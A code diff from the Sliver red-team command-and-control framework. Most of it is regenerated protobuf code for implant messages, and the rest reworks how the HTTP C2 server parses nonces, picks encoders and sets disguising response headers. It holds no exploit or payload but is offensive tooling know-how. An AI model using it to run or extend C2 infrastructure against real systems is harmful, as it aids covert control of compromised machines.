||||
// protoc-gen-go v1.28.1
|
||||
// protoc v4.25.3
|
||||
// protoc-gen-go v1.36.3
|
||||
// protoc v5.29.3
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
@@ -21,18 +21,16 @@ const (
|
||||
)
|
||||
|
||||
type Empty struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
state protoimpl.MessageState `protogen:"open.v1"`
|
||||
unknownFields protoimpl.UnknownFields
|
||||
sizeCache protoimpl.SizeCache
|
||||
}
|
||||
|
||||
func (x *Empty) Reset() {
|
||||
*x = Empty{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_commonpb_common_proto_msgTypes[0]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
mi := &file_commonpb_common_proto_msgTypes[0]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
|
||||
func (x *Empty) String() string {
|
||||
@@ -43,7 +41,7 @@ func (*Empty) ProtoMessage() {}
|
||||
|
||||
func (x *Empty) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_commonpb_common_proto_msgTypes[0]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
if x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
@@ -60,23 +58,20 @@ func (*Empty) Descriptor() ([]byte, []int) {
|
||||
|
||||
// Request - Common fields used in all gRPC requests
|
||||
type Request struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
state protoimpl.MessageState `protogen:"open.v1"`
|
||||
Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
|
||||
Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
|
||||
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
|
||||
SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
|
||||
Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
|
||||
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
|
||||
SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
|
||||
sizeCache protoimpl.SizeCache
|
||||
}
|
||||
|
||||
func (x *Request) Reset() {
|
||||
*x = Request{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_commonpb_common_proto_msgTypes[1]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
mi := &file_commonpb_common_proto_msgTypes[1]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
|
||||
func (x *Request) String() string {
|
||||
@@ -87,7 +82,7 @@ func (*Request) ProtoMessage() {}
|
||||
|
||||
func (x *Request) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_commonpb_common_proto_msgTypes[1]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
if x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
@@ -135,23 +130,20 @@ func (x *Request) GetSessionID() string {
|
||||
// only used when the implant needs to return an error to the server.
|
||||
// Client<->Server comms should use normal gRPC error handling.
|
||||
type Response struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
state protoimpl.MessageState `protogen:"open.v1"`
|
||||
Err string `protobuf:"bytes,1,opt,name=Err,proto3" json:"Err,omitempty"`
|
||||
Async bool `protobuf:"varint,2,opt,name=Async,proto3" json:"Async,omitempty"`
|
||||
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
|
||||
TaskID string `protobuf:"bytes,9,opt,name=TaskID,proto3" json:"TaskID,omitempty"`
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Err string `protobuf:"bytes,1,opt,name=Err,proto3" json:"Err,omitempty"`
|
||||
Async bool `protobuf:"varint,2,opt,name=Async,proto3" json:"Async,omitempty"`
|
||||
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
|
||||
TaskID string `protobuf:"bytes,9,opt,name=TaskID,proto3" json:"TaskID,omitempty"`
|
||||
sizeCache protoimpl.SizeCache
|
||||
}
|
||||
|
||||
func (x *Response) Reset() {
|
||||
*x = Response{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_commonpb_common_proto_msgTypes[2]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
mi := &file_commonpb_common_proto_msgTypes[2]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
|
||||
func (x *Response) String() string {
|
||||
@@ -162,7 +154,7 @@ func (*Response) ProtoMessage() {}
|
||||
|
||||
func (x *Response) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_commonpb_common_proto_msgTypes[2]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
if x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
@@ -207,21 +199,18 @@ func (x *Response) GetTaskID() string {
|
||||
|
||||
// File - A basic file data type
|
||||
type File struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
state protoimpl.MessageState `protogen:"open.v1"`
|
||||
Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"`
|
||||
Data []byte `protobuf:"bytes,2,opt,name=Data,proto3" json:"Data,omitempty"`
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"`
|
||||
Data []byte `protobuf:"bytes,2,opt,name=Data,proto3" json:"Data,omitempty"`
|
||||
sizeCache protoimpl.SizeCache
|
||||
}
|
||||
|
||||
func (x *File) Reset() {
|
||||
*x = File{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_commonpb_common_proto_msgTypes[3]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
mi := &file_commonpb_common_proto_msgTypes[3]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
|
||||
func (x *File) String() string {
|
||||
@@ -232,7 +221,7 @@ func (*File) ProtoMessage() {}
|
||||
|
||||
func (x *File) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_commonpb_common_proto_msgTypes[3]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
if x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
@@ -263,26 +252,23 @@ func (x *File) GetData() []byte {
|
||||
|
||||
// Process - A basic process data type
|
||||
type Process struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
state protoimpl.MessageState `protogen:"open.v1"`
|
||||
Pid int32 `protobuf:"varint,1,opt,name=Pid,proto3" json:"Pid,omitempty"`
|
||||
Ppid int32 `protobuf:"varint,2,opt,name=Ppid,proto3" json:"Ppid,omitempty"`
|
||||
Executable string `protobuf:"bytes,3,opt,name=Executable,proto3" json:"Executable,omitempty"`
|
||||
Owner string `protobuf:"bytes,4,opt,name=Owner,proto3" json:"Owner,omitempty"`
|
||||
Architecture string `protobuf:"bytes,7,opt,name=Architecture,proto3" json:"Architecture,omitempty"`
|
||||
SessionID int32 `protobuf:"varint,5,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
|
||||
CmdLine []string `protobuf:"bytes,6,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"`
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Pid int32 `protobuf:"varint,1,opt,name=Pid,proto3" json:"Pid,omitempty"`
|
||||
Ppid int32 `protobuf:"varint,2,opt,name=Ppid,proto3" json:"Ppid,omitempty"`
|
||||
Executable string `protobuf:"bytes,3,opt,name=Executable,proto3" json:"Executable,omitempty"`
|
||||
Owner string `protobuf:"bytes,4,opt,name=Owner,proto3" json:"Owner,omitempty"`
|
||||
Architecture string `protobuf:"bytes,7,opt,name=Architecture,proto3" json:"Architecture,omitempty"`
|
||||
SessionID int32 `protobuf:"varint,5,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
|
||||
CmdLine []string `protobuf:"bytes,6,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"`
|
||||
sizeCache protoimpl.SizeCache
|
||||
}
|
||||
|
||||
func (x *Process) Reset() {
|
||||
*x = Process{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_commonpb_common_proto_msgTypes[4]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
mi := &file_commonpb_common_proto_msgTypes[4]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
|
||||
func (x *Process) String() string {
|
||||
@@ -293,7 +279,7 @@ func (*Process) ProtoMessage() {}
|
||||
|
||||
func (x *Process) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_commonpb_common_proto_msgTypes[4]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
if x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
@@ -359,21 +345,18 @@ func (x *Process) GetCmdLine() []string {
|
||||
|
||||
// EnvVar - Environment variable K/V
|
||||
type EnvVar struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
state protoimpl.MessageState `protogen:"open.v1"`
|
||||
Key string `protobuf:"bytes,1,opt,name=Key,proto3" json:"Key,omitempty"`
|
||||
Value string `protobuf:"bytes,2,opt,name=Value,proto3" json:"Value,omitempty"`
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Key string `protobuf:"bytes,1,opt,name=Key,proto3" json:"Key,omitempty"`
|
||||
Value string `protobuf:"bytes,2,opt,name=Value,proto3" json:"Value,omitempty"`
|
||||
sizeCache protoimpl.SizeCache
|
||||
}
|
||||
|
||||
func (x *EnvVar) Reset() {
|
||||
*x = EnvVar{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_commonpb_common_proto_msgTypes[5]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
mi := &file_commonpb_common_proto_msgTypes[5]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
|
||||
func (x *EnvVar) String() string {
|
||||
@@ -384,7 +367,7 @@ func (*EnvVar) ProtoMessage() {}
|
||||
|
||||
func (x *EnvVar) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_commonpb_common_proto_msgTypes[5]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
if x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
@@ -470,7 +453,7 @@ func file_commonpb_common_proto_rawDescGZIP() []byte {
|
||||
}
|
||||
|
||||
var file_commonpb_common_proto_msgTypes = make([]protoimpl.MessageInfo, 6)
|
||||
var file_commonpb_common_proto_goTypes = []interface{}{
|
||||
var file_commonpb_common_proto_goTypes = []any{
|
||||
(*Empty)(nil), // 0: commonpb.Empty
|
||||
(*Request)(nil), // 1: commonpb.Request
|
||||
(*Response)(nil), // 2: commonpb.Response
|
||||
@@ -491,80 +474,6 @@ func file_commonpb_common_proto_init() {
|
||||
if File_commonpb_common_proto != nil {
|
||||
return
|
||||
}
|
||||
if !protoimpl.UnsafeEnabled {
|
||||
file_commonpb_common_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*Empty); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_commonpb_common_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*Request); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_commonpb_common_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*Response); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_commonpb_common_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*File); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_commonpb_common_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*Process); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
file_commonpb_common_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*EnvVar); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
type x struct{}
|
||||
out := protoimpl.TypeBuilder{
|
||||
File: protoimpl.DescBuilder{
|
||||
|
||||
+15
-32
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.28.1
|
||||
// protoc v4.25.3
|
||||
// protoc-gen-go v1.36.3
|
||||
// protoc v5.29.3
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
@@ -92,25 +92,22 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
|
||||
//
|
||||
// [Type TOTP]: ID field is used for the TOTP code
|
||||
type DNSMessage struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
state protoimpl.MessageState `protogen:"open.v1"`
|
||||
Type DNSMessageType `protobuf:"varint,1,opt,name=Type,proto3,enum=dnspb.DNSMessageType" json:"Type,omitempty"`
|
||||
ID uint32 `protobuf:"varint,2,opt,name=ID,proto3" json:"ID,omitempty"` // 8 bit message id + 24 bit dns session ID
|
||||
Start uint32 `protobuf:"varint,3,opt,name=Start,proto3" json:"Start,omitempty"` // Bytes start at
|
||||
Stop uint32 `protobuf:"varint,4,opt,name=Stop,proto3" json:"Stop,omitempty"` // Bytes stop at
|
||||
Size uint32 `protobuf:"varint,5,opt,name=Size,proto3" json:"Size,omitempty"` // Total size
|
||||
Data []byte `protobuf:"bytes,6,opt,name=Data,proto3" json:"Data,omitempty"` // Actual data
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Type DNSMessageType `protobuf:"varint,1,opt,name=Type,proto3,enum=dnspb.DNSMessageType" json:"Type,omitempty"`
|
||||
ID uint32 `protobuf:"varint,2,opt,name=ID,proto3" json:"ID,omitempty"` // 8 bit message id + 24 bit dns session ID
|
||||
Start uint32 `protobuf:"varint,3,opt,name=Start,proto3" json:"Start,omitempty"` // Bytes start at
|
||||
Stop uint32 `protobuf:"varint,4,opt,name=Stop,proto3" json:"Stop,omitempty"` // Bytes stop at
|
||||
Size uint32 `protobuf:"varint,5,opt,name=Size,proto3" json:"Size,omitempty"` // Total size
|
||||
Data []byte `protobuf:"bytes,6,opt,name=Data,proto3" json:"Data,omitempty"` // Actual data
|
||||
sizeCache protoimpl.SizeCache
|
||||
}
|
||||
|
||||
func (x *DNSMessage) Reset() {
|
||||
*x = DNSMessage{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_dnspb_dns_proto_msgTypes[0]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
mi := &file_dnspb_dns_proto_msgTypes[0]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
|
||||
func (x *DNSMessage) String() string {
|
||||
@@ -121,7 +118,7 @@ func (*DNSMessage) ProtoMessage() {}
|
||||
|
||||
func (x *DNSMessage) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_dnspb_dns_proto_msgTypes[0]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
if x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
@@ -221,7 +218,7 @@ func file_dnspb_dns_proto_rawDescGZIP() []byte {
|
||||
|
||||
var file_dnspb_dns_proto_enumTypes = make([]protoimpl.EnumInfo, 1)
|
||||
var file_dnspb_dns_proto_msgTypes = make([]protoimpl.MessageInfo, 1)
|
||||
var file_dnspb_dns_proto_goTypes = []interface{}{
|
||||
var file_dnspb_dns_proto_goTypes = []any{
|
||||
(DNSMessageType)(0), // 0: dnspb.DNSMessageType
|
||||
(*DNSMessage)(nil), // 1: dnspb.DNSMessage
|
||||
}
|
||||
@@ -239,20 +236,6 @@ func file_dnspb_dns_proto_init() {
|
||||
if File_dnspb_dns_proto != nil {
|
||||
return
|
||||
}
|
||||
if !protoimpl.UnsafeEnabled {
|
||||
file_dnspb_dns_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
|
||||
switch v := v.(*DNSMessage); i {
|
||||
case 0:
|
||||
return &v.state
|
||||
case 1:
|
||||
return &v.sizeCache
|
||||
case 2:
|
||||
return &v.unknownFields
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
type x struct{}
|
||||
out := protoimpl.TypeBuilder{
|
||||
File: protoimpl.DescBuilder{
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.28.1
|
||||
// protoc v4.25.3
|
||||
// protoc-gen-go v1.36.3
|
||||
// protoc v5.29.3
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
@@ -724,7 +724,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
}
|
||||
|
||||
var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
var file_rpcpb_services_proto_goTypes = []any{
|
||||
(*commonpb.Empty)(nil), // 0: commonpb.Empty
|
||||
(*clientpb.ClientLogData)(nil), // 1: clientpb.ClientLogData
|
||||
(*sliverpb.KillReq)(nil), // 2: sliverpb.KillReq
|
||||
|
||||
+800
-613
File diff suppressed because it is too large.
Load diff
+3028
-5750
File diff suppressed because it is too large.
Load diff
@@ -106,8 +106,10 @@ message KillReq {
|
||||
}
|
||||
|
||||
|
||||
// PsReq - Request the implant to list ses of a remote session.
|
||||
// PsReq - Request the implant to list processes of a remote session.
|
||||
message PsReq {
|
||||
bool FullInfo = 1;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
|
||||
@@ -291,6 +291,7 @@ func SetupGoPath(goPathSrc string, includeDNS bool) error {
|
||||
sliverpbGoSrc = xorPBRawBytes(sliverpbGoSrc)
|
||||
sliverpbGoSrc = stripSliverpb(sliverpbGoSrc)
|
||||
sliverpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "sliverpb")
|
||||
setupLog.Infof("Creating sliverpb directory: %s", sliverpbDir)
|
||||
os.MkdirAll(sliverpbDir, 0700)
|
||||
os.WriteFile(filepath.Join(sliverpbDir, "sliver.pb.go"), sliverpbGoSrc, 0600)
|
||||
os.WriteFile(filepath.Join(sliverpbDir, "constants.go"), sliverpbConstSrc, 0600)
|
||||
|
||||
@@ -241,10 +241,7 @@ func (b *Builder) handleBuildEvent(event *clientpb.Event) {
|
||||
return
|
||||
}
|
||||
|
||||
fileName := filepath.Base(extConfig.Build.Name)
|
||||
if extConfig.Config.GOOS == "windows" {
|
||||
fileName += ".exe"
|
||||
}
|
||||
fileName := filepath.Base(extConfig.Build.Name) + extConfig.Config.Extension
|
||||
|
||||
builderLog.Infof("Uploading '%s' to server ...", extConfig.Build.Name)
|
||||
_, err = b.rpc.GenerateExternalSaveBuild(context.Background(), &clientpb.ExternalImplantBinary{
|
||||
|
||||
+139
-129
@@ -31,7 +31,6 @@ import (
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -42,6 +41,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
@@ -51,6 +51,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/website"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
sliverEncoders "github.com/bishopfox/sliver/util/encoders"
|
||||
|
||||
"github.com/gorilla/mux"
|
||||
"google.golang.org/protobuf/proto"
|
||||
@@ -64,6 +65,7 @@ var (
|
||||
ErrInvalidEncoder = errors.New("invalid request encoder")
|
||||
ErrDecodeFailed = errors.New("failed to decode request")
|
||||
ErrDecryptFailed = errors.New("failed to decrypt request")
|
||||
serverConfig = configs.GetServerConfig()
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -346,17 +348,6 @@ func (s *SliverHTTPC2) router() *mux.Router {
|
||||
s.ServerConf.LongPollJitter = int64(DefaultLongPollJitter)
|
||||
}
|
||||
|
||||
// start stager handlers, extension are unique accross all profiles
|
||||
for _, c2Config := range c2Configs.Configs {
|
||||
// Can't force the user agent on the stager payload
|
||||
// Request from msf stager payload will look like:
|
||||
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s[/]{0,1}.*$}", c2Config.ImplantConfig.StagerFileExtension),
|
||||
s.stagerHandler,
|
||||
).Methods(http.MethodGet)
|
||||
}
|
||||
|
||||
router.HandleFunc("/{rpath:.*}", s.mainHandler).Methods(http.MethodGet, http.MethodPost)
|
||||
|
||||
router.Use(loggingMiddleware)
|
||||
@@ -369,34 +360,61 @@ func (s *SliverHTTPC2) noCacheHeader(resp http.ResponseWriter) {
|
||||
resp.Header().Add("Cache-Control", "no-store, no-cache, must-revalidate")
|
||||
}
|
||||
|
||||
// This filters requests that do not have a valid nonce
|
||||
func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
nonce, err := getNonceFromURL(req.URL)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce '%d'", nonce)
|
||||
return false // NaN
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func getNonceFromURL(reqURL *url.URL) (uint64, error) {
|
||||
func getNoncesFromURL(reqURL *url.URL, length int32) ([]uint64, error) {
|
||||
qNonce := ""
|
||||
nonces := []uint64{}
|
||||
for arg, values := range reqURL.Query() {
|
||||
if len(arg) == 1 {
|
||||
if len(arg) == int(length) || int(length) == 0 {
|
||||
qNonce = digitsOnly(values[0])
|
||||
break
|
||||
nonce, err := strconv.ParseUint(qNonce, 10, 64)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
nonces = append(nonces, nonce)
|
||||
}
|
||||
}
|
||||
if qNonce == "" {
|
||||
|
||||
for _, segment := range strings.Split(reqURL.Path, "/") {
|
||||
qNonce = digitsOnly(segment)
|
||||
nonce, err := strconv.ParseUint(qNonce, 10, 64)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
nonces = append(nonces, nonce)
|
||||
}
|
||||
|
||||
if len(nonces) == 0 {
|
||||
httpLog.Warn("Nonce not found in request")
|
||||
return 0, ErrMissingNonce
|
||||
return []uint64{}, ErrMissingNonce
|
||||
}
|
||||
nonce, err := strconv.ParseUint(qNonce, 10, 64)
|
||||
|
||||
return nonces, nil
|
||||
}
|
||||
|
||||
func getEncoder(reqURL *url.URL, c2config *clientpb.HTTPC2Config) (sliverEncoders.Encoder, error) {
|
||||
var (
|
||||
err error
|
||||
nonces []uint64
|
||||
)
|
||||
|
||||
if c2config != nil {
|
||||
nonces, err = getNoncesFromURL(reqURL, c2config.ImplantConfig.NonceQueryLength)
|
||||
} else {
|
||||
// anonymous handler calling, we don't know the expected nonce length
|
||||
nonces, err = getNoncesFromURL(reqURL, 0)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
|
||||
return 0, err
|
||||
return nil, fmt.Errorf("no encoder found")
|
||||
}
|
||||
return nonce, nil
|
||||
|
||||
for _, nonce := range nonces {
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err == nil {
|
||||
return encoder, nil
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("no encoder found")
|
||||
}
|
||||
|
||||
func digitsOnly(value string) string {
|
||||
@@ -424,23 +442,15 @@ func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
|
||||
err error
|
||||
)
|
||||
|
||||
extension := strings.TrimLeft(path.Ext(req.URL.Path), ".")
|
||||
// Check if the requests matches an existing session
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession != nil {
|
||||
// find correct c2 profile and from there call correct handler
|
||||
// find correct c2 profile
|
||||
profile, err = db.LoadHTTPC2ConfigByName(httpSession.C2Profile)
|
||||
if err != nil {
|
||||
httpLog.Debugf("Failed to resolve http profile %s", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
for _, c2profile := range s.c2Config {
|
||||
if extension == c2profile.ImplantConfig.StartSessionFileExtension {
|
||||
profile = c2profile
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if profile != nil {
|
||||
@@ -456,7 +466,19 @@ func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
|
||||
}
|
||||
resp.Header().Set(header.Name, header.Value)
|
||||
}
|
||||
} else {
|
||||
// for anonymous requests user server-wide defaults
|
||||
for _, header := range serverConfig.HTTPDefaults.Headers {
|
||||
if 0 < header.Probability && header.Probability < 100 {
|
||||
roll := insecureRand.Intn(99) + 1
|
||||
if header.Probability < int32(roll) {
|
||||
continue
|
||||
}
|
||||
}
|
||||
resp.Header().Set(header.Name, header.Value)
|
||||
}
|
||||
}
|
||||
|
||||
next.ServeHTTP(resp, req)
|
||||
})
|
||||
}
|
||||
@@ -489,54 +511,60 @@ func (s *SliverHTTPC2) defaultHandler(resp http.ResponseWriter, req *http.Reques
|
||||
|
||||
// [ HTTP Handlers ] ---------------------------------------------------------------
|
||||
func (s *SliverHTTPC2) mainHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
extension := strings.TrimLeft(path.Ext(req.URL.Path), ".")
|
||||
|
||||
// Check if the requests matches an existing session
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession != nil {
|
||||
// find correct c2 profile and from there call correct handler
|
||||
c2Config, err := db.LoadHTTPC2ConfigByName(httpSession.C2Profile)
|
||||
if err != nil {
|
||||
httpLog.Debugf("Failed to resolve http profile %s", err)
|
||||
return
|
||||
}
|
||||
if extension == c2Config.ImplantConfig.PollFileExtension {
|
||||
s.pollHandler(resp, req)
|
||||
return
|
||||
} else if extension == c2Config.ImplantConfig.CloseFileExtension {
|
||||
s.closeHandler(resp, req)
|
||||
return
|
||||
